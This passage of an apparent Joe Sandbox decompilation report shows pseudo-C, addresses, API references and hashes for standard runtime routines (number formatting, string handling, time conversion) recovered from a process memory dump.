					_t125 = _a24;
					goto L36;
				} else {
					asm("fldz");
					asm("fcom st0, st1");
					asm("fnstsw ax");
					if((_t62 & 0x00000005) != 0) {
						_v145 = 0;
					} else {
						_v145 = 1;
						asm("fchs");
					}
					asm("fcom st0, st1");
					asm("fnstsw ax");
					_t125 =  *0x44b890;
					if((_t62 & 0x00000041) != 0) {
						while(1) {
							__eflags = _t71 - 0x1388;
							if(__eflags >= 0) {
								goto L14;
							}
							_t125 = _t125 / st0;
							_t71 = _t71 + 0xa;
							asm("fxch st0, st1");
							asm("fcom st0, st2");
							asm("fnstsw ax");
							__eflags = _t62 & 0x00000041;
							if(__eflags != 0) {
								asm("fxch st0, st1");
								continue;
							}
							st0 = _t125;
							goto L20;
						}
						goto L14;
					} else {
						L14:
						st1 = _t125;
						L20:
						asm("fxch st0, st2");
						asm("fcomp st0, st1");
						asm("fnstsw ax");
						if((_t62 & 0x00000005) != 0) {
							L32:
							st1 = _t125;
							if(_v145 != 0) {
								asm("fchs");
							}
							L36:
							_v132 = 0x25;
							_t63 =  &_v131;
							if((_t84 & 0x00000020) != 0) {
								_v131 = 0x2b;
								_t63 =  &_v130;
							}
							if((_t84 & 0x00000010) != 0) {
								 *_t63 = 0x23;
								_t63 = _t63 + 1;
							}
							_t85 = _t84 & 0x00003000;
							 *_t63 = 0x2a2e;
							 *((char*)(_t63 + 2)) = 0x4c;
							_t123 = _t85 - 0x2000;
							if(_t85 != 0x2000) {
								__eflags = _t85 - 0x3000;
								if(__eflags != 0) {
									__eflags = _t85 - 0x1000;
									_t41 = _t85 != 0x1000;
									__eflags = _t41;
									_t76 = (_t74 & 0xffffff00 | _t41) + (_t74 & 0xffffff00 | _t41) + 0x65;
								} else {
									_t76 = 0x61;
								}
							} else {
								_t76 = 0x66;
							}
							 *((char*)(_t63 + 3)) = _t76;
							 *(_t99 - 8) = _t125;
							 *((char*)(_t63 + 4)) = 0;
							_push(swprintf( &_v124, 0x6c,  &_v132, _v144, _a8, _a12));
							_push(_t94);
							_push(_t90);
							_push( &_v124);
							_push(_v140);
							_push(_v136);
							L00422CC0(_a20, _t71, _t123);
							_pop(_t91);
							_pop(_t96);
							_pop(_t72);
							return E00429B16(_v136, _t72, _v8 ^  &((_t99 - 8)[7]), _t71, _t91, _t96);
						}
						_t113 = _t74;
						if(_t113 >= 0 && (_t113 > 0 || _t94 >= 0xa)) {
							_t125 =  *0x44b888;
							while(1) {
								asm("fcom st0, st1");
								asm("fnstsw ax");
								if((_t62 & 0x00000001) != 0 || _t90 >= 0x1388) {
									break;
								}
								_t94 = _t94 + 0xfffffff6;
								asm("fxch st0, st1");
								asm("adc ecx, 0xffffffff");
								_t125 = _t125 * st2;
								_t90 = _t90 + 0xa;
								_t117 = _t74;
								if(_t117 > 0 || _t117 >= 0 && _t94 >= 0xa) {
									asm("fxch st0, st1");
									continue;
								} else {
									st1 = _t125;
									goto L32;
								}
							}
							st0 = _t125;
						}
						goto L32;
					}
				}
			}

0x004228b6
0x004228bc
0x004228c3
0x004228cd
0x004228d1
0x004228d5
0x004228d9
0x004228dd
0x004228e1
0x004228e3
0x004228f4
0x004228f9
0x004228f9
0x004228fb
0x004228fd
0x004228ff
0x00422912
0x00422908
0x00422908
0x00422908
0x0042291a
0x0042291b
0x0042291d
0x00422923
0x00422928
0x0042292d
0x0042292f
0x00422936
0x004229e8
0x00000000
0x0042293c
0x0042293c
0x00422941
0x00422943
0x00422948
0x0042296a
0x0042294a
0x0042294a
0x0042294f
0x0042294f
0x00422957
0x00422959
0x0042295b
0x00422964
0x00422972
0x00422972
0x00422978
0x00000000
0x00000000
0x0042297a
0x0042297c
0x0042297f
0x00422981
0x00422983
0x00422985
0x00422988
0x00422970
0x00000000
0x00422970
0x0042298a
0x00000000
0x0042298a
0x00000000
0x00422966
0x00422966
0x00422966
0x0042298c
0x0042298c
0x0042298e
0x00422990
0x00422995
0x004229d7
0x004229dc
0x004229de
0x004229e0
0x004229e0
0x004229eb
0x004229eb
0x004229f0
0x004229f7
0x004229f9
0x004229fe
0x004229fe
0x00422a05
0x00422a07
0x00422a0a
0x00422a0a
0x00422a0b
0x00422a11
0x00422a16
0x00422a1a
0x00422a20
0x00422a26
0x00422a2c
0x00422a32
0x00422a38
0x00422a38
0x00422a3b
0x00422a2e
0x00422a2e
0x00422a2e
0x00422a22
0x00422a22
0x00422a22
0x00422a42
0x00422a4d
0x00422a50
0x00422a71
0x00422a72
0x00422a77
0x00422a7c
0x00422a7d
0x00422a81
0x00422a84
0x00422a93
0x00422a96
0x00422a97
0x00422aa2
0x00422aa2
0x00422997
0x00422999
0x004229a2
0x004229ac
0x004229ac
0x004229ae
0x004229b3
0x00000000
0x00000000
0x004229bd
0x004229c0
0x004229c2
0x004229c5
0x004229c7
0x004229ca
0x004229cc
0x004229aa
0x00000000
0x004229d5
0x004229d5
0x00000000
0x004229d5
0x004229cc
0x004229e4
0x004229e4
0x00000000
0x00422999
0x00422964

APIs

swprintf.LIBCMT ref: 00422A65

Strings

%, xrefs: 004229EB
$, xrefs: 00422908
+, xrefs: 004229F9

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: swprintf
String ID: $$%$+
API String ID: 233258989-3202472541
Opcode ID: 12067f8f3542ca1cab9f45de8f456dee4aeb2a17b16c69587cbca1e8e50794a8
Instruction ID: 613fc151faf28056dfa0ef482326f76ac8a5cb0931021ef580f59565638849be
Opcode Fuzzy Hash: 12067f8f3542ca1cab9f45de8f456dee4aeb2a17b16c69587cbca1e8e50794a8
Instruction Fuzzy Hash: CE517DB2B043507AD7159E08EB807EB7BE4AB45340F90554FE88193391E6FDCD85878B

Uniqueness

Uniqueness Score: -1.00%

Function 00410B40 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 124
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00410B40(void* __eax, signed int __ecx, intOrPtr _a4) {
				void* __esi;
				intOrPtr _t18;
				intOrPtr* _t20;
				char* _t25;
				signed int _t29;
				intOrPtr* _t30;
				void* _t37;
				signed int _t40;
				intOrPtr _t43;
				intOrPtr _t45;
				intOrPtr _t51;
				intOrPtr* _t56;

				_t40 = __ecx;
				_t37 = __eax;
				_t56 = __ecx;
				if(__eax == 0) {
					L12:
					_t18 =  *((intOrPtr*)(_t56 + 0x10));
					_t45 = _a4;
					if((_t40 | 0xffffffff) - _t18 <= _t45) {
						_t18 = E00429010("string too long");
					}
					if(_t45 == 0) {
						L30:
						return _t56;
					} else {
						_t51 = _t18 + _t45;
						if(_t51 > 0xfffffffe) {
							_t18 = E00429010("string too long");
						}
						_t43 =  *((intOrPtr*)(_t56 + 0x14));
						if(_t43 >= _t51) {
							if(_t51 != 0) {
								goto L19;
							} else {
								 *((intOrPtr*)(_t56 + 0x10)) = _t51;
								if(_t43 < 0x10) {
									_t25 = _t56;
									 *_t25 = 0;
									return _t25;
								} else {
									 *((char*)( *_t56)) = 0;
									return _t56;
								}
							}
						} else {
							E004053F0(_t56, _t51, _t18);
							_t45 = _a4;
							if(_t51 == 0) {
								L29:
								goto L30;
							} else {
								L19:
								if( *((intOrPtr*)(_t56 + 0x14)) < 0x10) {
									_t20 = _t56;
								} else {
									_t20 =  *_t56;
								}
								L00429D20( *((intOrPtr*)(_t56 + 0x10)) + _t20, _t37, _t45);
								 *((intOrPtr*)(_t56 + 0x10)) = _t51;
								if( *((intOrPtr*)(_t56 + 0x14)) < 0x10) {
									 *((char*)(_t56 + _t51)) = 0;
									goto L29;
								} else {
									 *((char*)( *_t56 + _t51)) = 0;
									return _t56;
								}
							}
						}
					}
				} else {
					_t40 =  *(__ecx + 0x14);
					if(_t40 < 0x10) {
						_t29 = __ecx;
					} else {
						_t29 =  *__ecx;
					}
					if(_t37 < _t29) {
						goto L12;
					} else {
						if(_t40 < 0x10) {
							_t30 = _t56;
						} else {
							_t30 =  *_t56;
						}
						if( *((intOrPtr*)(_t56 + 0x10)) + _t30 <= _t37) {
							goto L12;
						} else {
							if(_t40 < 0x10) {
								return L004056A0(_a4, _t40, _t56, _t56, _t37 - _t56);
							} else {
								return L004056A0(_a4, _t40, _t56, _t56, _t37 -  *_t56);
							}
						}
					}
				}
			}

0x00410b40
0x00410b44
0x00410b47
0x00410b4b
0x00410ba0
0x00410ba0
0x00410ba3
0x00410bad
0x00410bb4
0x00410bb4
0x00410bbb
0x00410c4c
0x00410c51
0x00410bc1
0x00410bc2
0x00410bc8
0x00410bcf
0x00410bcf
0x00410bd4
0x00410bd9
0x00410bf7
0x00000000
0x00410bf9
0x00410bf9
0x00410bff
0x00410c10
0x00410c13
0x00410c18
0x00410c01
0x00410c04
0x00410c0c
0x00410c0c
0x00410bff
0x00410bdb
0x00410bdf
0x00410be4
0x00410be9
0x00410c4b
0x00000000
0x00410beb
0x00410beb
0x00410bef
0x00410c1b
0x00410bf1
0x00410bf1
0x00410bf1
0x00410c25
0x00410c31
0x00410c34
0x00410c47
0x00000000
0x00410c36
0x00410c38
0x00410c42
0x00410c42
0x00410c34
0x00410be9
0x00410bd9
0x00410b4d
0x00410b4d
0x00410b53
0x00410b59
0x00410b55
0x00410b55
0x00410b55
0x00410b5d
0x00000000
0x00410b5f
0x00410b62
0x00410b68
0x00410b64
0x00410b64
0x00410b64
0x00410b71
0x00000000
0x00410b73
0x00410b76
0x00410b9d
0x00410b78
0x00410b89
0x00410b89
0x00410b76
0x00410b71
0x00410b5d

APIs

std::_Xinvalid_argument.LIBCPMT ref: 00410BB4
std::_Xinvalid_argument.LIBCPMT ref: 00410BCF
_memmove.LIBCMT ref: 00410C25

Part of subcall function 004056A0: std::_Xinvalid_argument.LIBCPMT ref: 004056B8
Part of subcall function 004056A0: std::_Xinvalid_argument.LIBCPMT ref: 004056D6
Part of subcall function 004056A0: std::_Xinvalid_argument.LIBCPMT ref: 004056F1
Part of subcall function 004056A0: _memmove.LIBCMT ref: 00405755

Strings

string too long, xrefs: 00410BAF, 00410BCA

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Xinvalid_argumentstd::_$_memmove
String ID: string too long
API String ID: 2168136238-2556327735
Opcode ID: 23d75c200d4bf9412a1be34526fd8a6d89980d129ae8cba9f6c8862e93b95532
Instruction ID: 558307cd667a57c941a2d3ddf48024877f635db911dfb2c94192d9b2348b2e42
Opcode Fuzzy Hash: 23d75c200d4bf9412a1be34526fd8a6d89980d129ae8cba9f6c8862e93b95532
Instruction Fuzzy Hash: CE31D8723046108BD7249E9CE880AABF3E5EF91764B60462FF546C7681D7B5ACC0879C

Uniqueness

Uniqueness Score: -1.00%

Function 00413280 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 111
COMMON

Download Yara Rule

C-Code - Quality: 60%

			E00413280(intOrPtr* _a4, signed int _a8, signed int _a12) {
				char _v8;
				char _v16;
				intOrPtr _v20;
				char _v24;
				char _v36;
				void* __edi;
				void* __esi;
				signed int _t35;
				signed int _t38;
				intOrPtr* _t41;
				intOrPtr* _t42;
				unsigned int _t52;
				intOrPtr* _t53;
				unsigned int _t56;
				void* _t57;
				signed int _t58;
				intOrPtr* _t71;
				signed int _t75;
				signed int _t80;
				intOrPtr _t81;

				_push(0xffffffff);
				_push(0x43dbd0);
				_push( *[fs:0x0]);
				_t81 = _t80 - 0x14;
				_t35 =  *0x450664; // 0x30e242aa
				_push(_t35 ^ _t80);
				 *[fs:0x0] =  &_v16;
				_v20 = _t81;
				_t38 = _a8;
				_t71 = _a4;
				_t75 = _t38 | 0x00000007;
				if(_t75 <= 0x7ffffffe) {
					_t5 = _t71 + 0x14; // 0xcccccccc
					_t52 =  *_t5;
					_t56 = _t52 >> 1;
					_t65 = 0xaaaaaaab * _t75 >> 0x20 >> 1;
					__eflags = _t56 - 0xaaaaaaab * _t75 >> 0x20 >> 1;
					if(__eflags > 0) {
						_t75 = _t56 + _t52;
						__eflags = _t52 - 0x7ffffffe - _t56;
						if(__eflags > 0) {
							_t75 = 0x7ffffffe;
						}
					}
				} else {
					_t75 = _t38;
				}
				_t41 = 0;
				_t11 = _t75 + 1; // 0x7fffffff
				_t57 = _t11;
				_v8 = 0;
				if(_t57 <= 0) {
					L8:
					_t53 = _t41;
					_t58 = _a12;
					if(_t58 != 0) {
						if( *(_t71 + 0x14) < 8) {
							_t42 = _t71;
						} else {
							_t42 =  *_t71;
						}
						_t41 = L00429D20(_t53, _t42, _t58 + _t58);
						_t58 = _a12;
						_t81 = _t81 + 0xc;
					}
					if( *(_t71 + 0x14) >= 8) {
						_push( *_t71);
						_t41 = E00429B0B();
						_t58 = _a12;
					}
					 *_t71 = _t53;
					 *(_t71 + 0x14) = _t75;
					 *(_t71 + 0x10) = _t58;
					if(_t75 >= 8) {
						_t71 = _t53;
					}
					 *((short*)(_t71 + _t58 * 2)) = 0;
					 *[fs:0x0] = _v16;
					return _t41;
				} else {
					_t86 = _t57 - 0x7fffffff;
					if(_t57 > 0x7fffffff) {
						L9:
						_v24 = 0;
						E0042A1D7( &_v36,  &_v24);
						_v36 = 0x4402a4;
						L0042D646( &_v36, 0x44cd60);
						_v20 = _t81;
						_v8 = 2;
						_v24 = L004133F0(_a8 + 1, _t71, _t75);
						return E00413356;
					} else {
						_push(_t57 + _t57);
						_t41 = E0042A7D1(_t65, _t71, _t75, _t86);
						_t81 = _t81 + 4;
						if(0 == 0) {
							goto L9;
						} else {
							goto L8;
						}
					}
				}
			}

0x00413283
0x00413285
0x00413290
0x00413291
0x00413297
0x0041329e
0x004132a2
0x004132a8
0x004132ab
0x004132ae
0x004132b3
0x004132bc
0x004132c2
0x004132c2
0x004132ce
0x004132d0
0x004132d2
0x004132d4
0x004132dd
0x004132e0
0x004132e2
0x004132e4
0x004132e4
0x004132e2
0x004132be
0x004132be
0x004132be
0x004132e9
0x004132eb
0x004132eb
0x004132ee
0x004132f3
0x0041330c
0x0041330c
0x0041335f
0x00413364
0x0041336a
0x00413370
0x0041336c
0x0041336c
0x0041336c
0x00413377
0x0041337c
0x0041337f
0x0041337f
0x00413386
0x0041338a
0x0041338b
0x00413390
0x00413393
0x00413396
0x00413398
0x0041339b
0x004133a1
0x004133a3
0x004133a3
0x004133a7
0x004133ae
0x004133bc
0x004132f5
0x004132f5
0x004132fb
0x00413310
0x00413317
0x0041331e
0x0041332c
0x00413333
0x0041333e
0x00413344
0x0041334d
0x00413355
0x004132fd
0x004132ff
0x00413300
0x00413305
0x0041330a
0x00000000
0x00000000
0x00000000
0x00000000
0x0041330a
0x004132fb

APIs

std::exception::exception.LIBCMT ref: 0041331E

Part of subcall function 0042A1D7: std::exception::_Copy_str.LIBCMT ref: 0042A1F2

__CxxThrowException@8.LIBCMT ref: 00413333

Part of subcall function 0042D646: RaiseException.KERNEL32(?,?,0042A850,?,?,?,?,?,0042A850,?,0044CD60,00451C90,?,?,?,00000400), ref: 0042D688

Part of subcall function 004133F0: std::exception::exception.LIBCMT ref: 00413422
Part of subcall function 004133F0: __CxxThrowException@8.LIBCMT ref: 00413437

_memmove.LIBCMT ref: 00413377

Strings

pO@, xrefs: 0041332C

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Exception@8Throwstd::exception::exception$Copy_strExceptionRaise_memmovestd::exception::_
String ID: pO@
API String ID: 163498487-2861409048
Opcode ID: 9cc914d311fd69ae79d976c196a657b9eb6ec39ff3af428cf0a742d72b205ce1
Instruction ID: 3a5d001186000bc0f54c97ba66b79d6a1d5f817cf3901496be09ba78877badb3
Opcode Fuzzy Hash: 9cc914d311fd69ae79d976c196a657b9eb6ec39ff3af428cf0a742d72b205ce1
Instruction Fuzzy Hash: AF41A771A00219DBCB04DF69D8815EEB7B4FB44315F14422FEC2697780EB38AE54C7A9

Uniqueness

Uniqueness Score: -1.00%

Function 00420040 Relevance: 6.1, APIs: 4, Instructions: 84
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E00420040(char* __edi, char _a4, intOrPtr _a24) {
				intOrPtr _v8;
				char _v16;
				intOrPtr _v20;
				void* __ecx;
				void* __esi;
				signed int _t26;
				char* _t30;
				void* _t35;
				void* _t38;
				signed int _t51;
				char* _t69;
				void* _t70;
				void* _t71;
				signed int _t73;

				_t69 = __edi;
				_push(0xffffffff);
				_push(E0043DB18);
				_push( *[fs:0x0]);
				_push(_t70);
				_t26 =  *0x450664; // 0x30e242aa
				_push(_t26 ^ _t73);
				 *[fs:0x0] =  &_v16;
				_v20 = 0;
				_v8 = 0;
				_t30 = _a4;
				if(_a24 < 0x10) {
					_t30 =  &_a4;
				}
				_t51 = L00429C90(_t30);
				_t35 = _t51 - (0xaaaaaaab * _t51 >> 0x20 >> 1) + (0xaaaaaaab * _t51 >> 0x20 >> 1) * 2;
				if(_t35 != 0) {
					_t51 = _t51 - _t35 + 3;
				}
				_t38 = E0042A0BB((0xaaaaaaab * (_t51 + _t51 + _t51 + _t51 + _t51 + _t51 + _t51 + _t51) >> 0x20 >> 2) + 1, _t69, _t70, (0xaaaaaaab * (_t51 + _t51 + _t51 + _t51 + _t51 + _t51 + _t51 + _t51) >> 0x20 >> 2) + 1);
				_t48 = _a4;
				_t71 = _t38;
				_t39 = _a4;
				if(_a24 < 0x10) {
					_t39 =  &_a4;
					_t48 =  &_a4;
				}
				L0041FF70(_t48, _t71, L00429C90(_t39));
				 *((intOrPtr*)(_t69 + 0x14)) = 0xf;
				 *((intOrPtr*)(_t69 + 0x10)) = 0;
				 *_t69 = 0;
				E004050C0(_t69, _t71, L00429C90(_t71));
				if(_a24 >= 0x10) {
					_push(_a4);
					E00429B0B();
				}
				 *[fs:0x0] = _v16;
				return _t69;
			}

0x00420040
0x00420043
0x00420045
0x00420050
0x00420053
0x00420054
0x0042005b
0x0042005f
0x00420067
0x0042006a
0x00420071
0x00420074
0x00420076
0x00420076
0x0042007f
0x00420092
0x00420094
0x00420098
0x00420098
0x004200ad
0x004200b5
0x004200bb
0x004200bd
0x004200c2
0x004200c4
0x004200c7
0x004200c7
0x004200d8
0x004200dd
0x004200e4
0x004200ec
0x004200fb
0x00420104
0x00420109
0x0042010a
0x0042010f
0x00420117
0x00420124

APIs

_strlen.LIBCMT ref: 0042007A
_malloc.LIBCMT ref: 004200AD
_strlen.LIBCMT ref: 004200CA
_strlen.LIBCMT ref: 004200EF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: _strlen$_malloc
String ID:
API String ID: 1848352940-0
Opcode ID: 574a12e826262be742fa88653de47801d96f8a6c810772bfad6f095f22531a56
Instruction ID: c5fe313b6fd2277050a911b5e20a7097c304d393e0084c4e39b9a7218f58da75
Opcode Fuzzy Hash: 574a12e826262be742fa88653de47801d96f8a6c810772bfad6f095f22531a56
Instruction Fuzzy Hash: 172183B17001159BEB08DF29E941BAA77E9EB45314F40453EF806C7342E77DAA1487D5

Uniqueness

Uniqueness Score: -1.00%

Function 00428070 Relevance: 6.1, APIs: 4, Instructions: 83
timeCOMMON

Download Yara Rule

C-Code - Quality: 87%

			E00428070(intOrPtr __edi, intOrPtr __esi) {
				signed int _v8;
				struct _SYSTEMTIME _v24;
				struct _SYSTEMTIME _v40;
				struct _FILETIME _v48;
				struct _FILETIME _v56;
				void* __ebx;
				signed int _t37;
				intOrPtr _t44;
				intOrPtr _t62;
				intOrPtr _t76;
				signed int _t84;

				_t37 =  *0x450664; // 0x30e242aa
				_v8 = _t37 ^ _t84;
				 *((intOrPtr*)(__esi + 0x7c)) = 0;
				 *((intOrPtr*)(__esi + 0x84)) = 0;
				 *((char*)(__esi + 0x80)) = 0;
				 *((intOrPtr*)(__esi + 0x78)) = 0;
				 *((intOrPtr*)(__esi + 0x90)) = 0;
				 *((intOrPtr*)(__esi + 0x74)) = 0;
				 *((intOrPtr*)(__esi + 0x4c)) = 0x41c00010;
				 *((intOrPtr*)(__esi + 0x70)) = 0;
				 *((char*)(__esi + 0x6c)) = 0;
				GetLocalTime( &_v40);
				SystemTimeToFileTime( &_v40,  &_v48);
				_v56.dwLowDateTime = _v48.dwLowDateTime;
				_v56.dwHighDateTime = _v48.dwHighDateTime;
				FileTimeToSystemTime( &_v56,  &_v24);
				_t76 = _v48.dwHighDateTime;
				asm("sbb edx, 0x19db1de");
				_t44 = E004348A0(_v48.dwLowDateTime - 0xd53e8000, _t76, 0x989680, 0);
				 *((intOrPtr*)(__esi + 0x50)) = _t44;
				 *((intOrPtr*)(__esi + 0x58)) = _t44;
				 *((intOrPtr*)(__esi + 0x60)) = _t44;
				_t62 = _t76;
				 *((intOrPtr*)(__esi + 0x5c)) = _t62;
				 *((intOrPtr*)(__esi + 0x64)) = _t62;
				 *((intOrPtr*)(__esi + 0x54)) = _t76;
				 *(__esi + 0x68) = ((_v24.wYear + 0xffffffc4 << 0x00000004 | _v24.wMonth & 0x0000000f) << 0x00000005 & 0x0000ffff | _v24.wDay & 0x0000001f) << 0x00000010 | (_v24.wMinute & 0x0000003f | _v24.wHour << 0x00000006) << 0x00000005 & 0x0000ffff | _v24.wSecond + _v24.wSecond & 0x0000001f;
				return E00429B16(0, 0, _v8 ^ _t84, ((_v24.wYear + 0xffffffc4 << 0x00000004 | _v24.wMonth & 0x0000000f) << 0x00000005 & 0x0000ffff | _v24.wDay & 0x0000001f) << 0x00000010 | (_v24.wMinute & 0x0000003f | _v24.wHour << 0x00000006) << 0x00000005 & 0x0000ffff | _v24.wSecond + _v24.wSecond & 0x0000001f, __edi, __esi);
			}

0x00428076
0x0042807d
0x00428087
0x0042808a
0x00428090
0x00428096
0x00428099
0x0042809f
0x004280a2
0x004280a9
0x004280ac
0x004280af
0x004280bd
0x004280cc
0x004280d4
0x004280d7
0x004280e0
0x004280ef
0x004280f7
0x004280fc
0x004280ff
0x00428102
0x00428108
0x0042810a
0x0042810d
0x00428124
0x00428158
0x00428166

APIs

GetLocalTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00428576,?,00000000), ref: 004280AF
SystemTimeToFileTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00428576,?,00000000), ref: 004280BD
FileTimeToSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00428576,?,00000000), ref: 004280D7
__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 004280F7

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: Time$FileSystem$LocalUnothrow_t@std@@@__ehfuncinfo$??2@
String ID:
API String ID: 568878067-0
Opcode ID: 8e8e4f9e89a6bebc394dee87f66e55c06b793d3143d41f57f590938475d0bcea
Instruction ID: 1c1d95201ee5179c5a51de96d4cd5a351c72ad82de2a949062a7948d3193e97f
Opcode Fuzzy Hash: 8e8e4f9e89a6bebc394dee87f66e55c06b793d3143d41f57f590938475d0bcea
Instruction Fuzzy Hash: A831F8B1D007089FDB19CFAAD9909AAFBF5FB88300B40892EE596E7751D770A904CB14

Uniqueness

Uniqueness Score: -1.00%

Function 0043B081 Relevance: 6.0, APIs: 4, Instructions: 49
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E0043B081(void* __ebx, void* __edx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;

				_t28 = __ebx;
				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E0043A973(__eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E0043AA5A(_t28, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = L0043AF94(__ebx, __edx, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return L0043AED3(__ebx, __edx, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

0x0043b081
0x0043b086
0x0043b08c
0x0043b0ff
0x00000000
0x0043b093
0x0043b093
0x0043b096
0x0043b0b1
0x0043b0b4
0x0043b0d4
0x0043b0e6
0x0043b0b6
0x0043b0b6
0x0043b0b9
0x00000000
0x0043b0bb
0x0043b0cd
0x0043b0cd
0x0043b0b9
0x0043b104
0x0043b108
0x0043b098
0x0043b0b0
0x0043b0b0
0x0043b096

APIs

__cftof_l.LIBCMT ref: 0043B0A7

Part of subcall function 0043AED3: __fltout2.LIBCMT ref: 0043AEFE

__cftog_l.LIBCMT ref: 0043B0CD
__cftoe_l.LIBCMT ref: 0043B0FF

Memory Dump Source

Source File: 00000002.00000002.299234433.0000000000401000.00000020.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.299225017.0000000000400000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299348792.0000000000440000.00000002.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299367471.0000000000450000.00000004.00000400.00020000.00000000.sdmpDownload File
Associated: 00000002.00000002.299377458.0000000000466000.00000002.00000400.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_AppLaunch.jbxd

Yara matches

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction ID: 803a72eaa1b04417bd17e0932089f1a53d11909681419c6ae8b1b4ff0ec13c67
Opcode Fuzzy Hash: 4bdea013960d862e58fdc3211a87ed6cb7384f6b6b2695c697ae8ee222476223
Instruction Fuzzy Hash: 4011607204004ABBCF165E84CC419EE3F32FB5C358F59941AFA6854121C33AC9B1AB86

Uniqueness

Uniqueness Score: -1.00%

Function 0040D0C0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 78
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040D0C0(intOrPtr* __eax, void* __ecx, void* __eflags, intOrPtr* _a4) {
				intOrPtr _v8;
				void* __ebx;
				void* _t22;
				intOrPtr* _t35;
				intOrPtr* _t36;
				intOrPtr _t38;
				intOrPtr _t40;
				void* _t46;
				intOrPtr* _t49;
				intOrPtr* _t50;

				_t34 = __ecx;
				_push(__ecx);
				_t49 = __eax;
				_v8 = 0;
				_t46 = E00410850(_t49, L00429C90(" \n\r\t"));
				_t22 = E004108C0(_t49, L00429C90(" \n\r\t"), _t34);
				_t40 =  *((intOrPtr*)(_t49 + 0x14));
				if(_t46 != 0xffffffff) {
					if(_t40 < 0x10) {
						_t35 = _t49;
					} else {
						_t35 =  *_t49;
					}
					_t36 = _t35 + _t46;
				} else {
					if(_t40 < 0x10) {
						_t36 = _t49;
					} else {
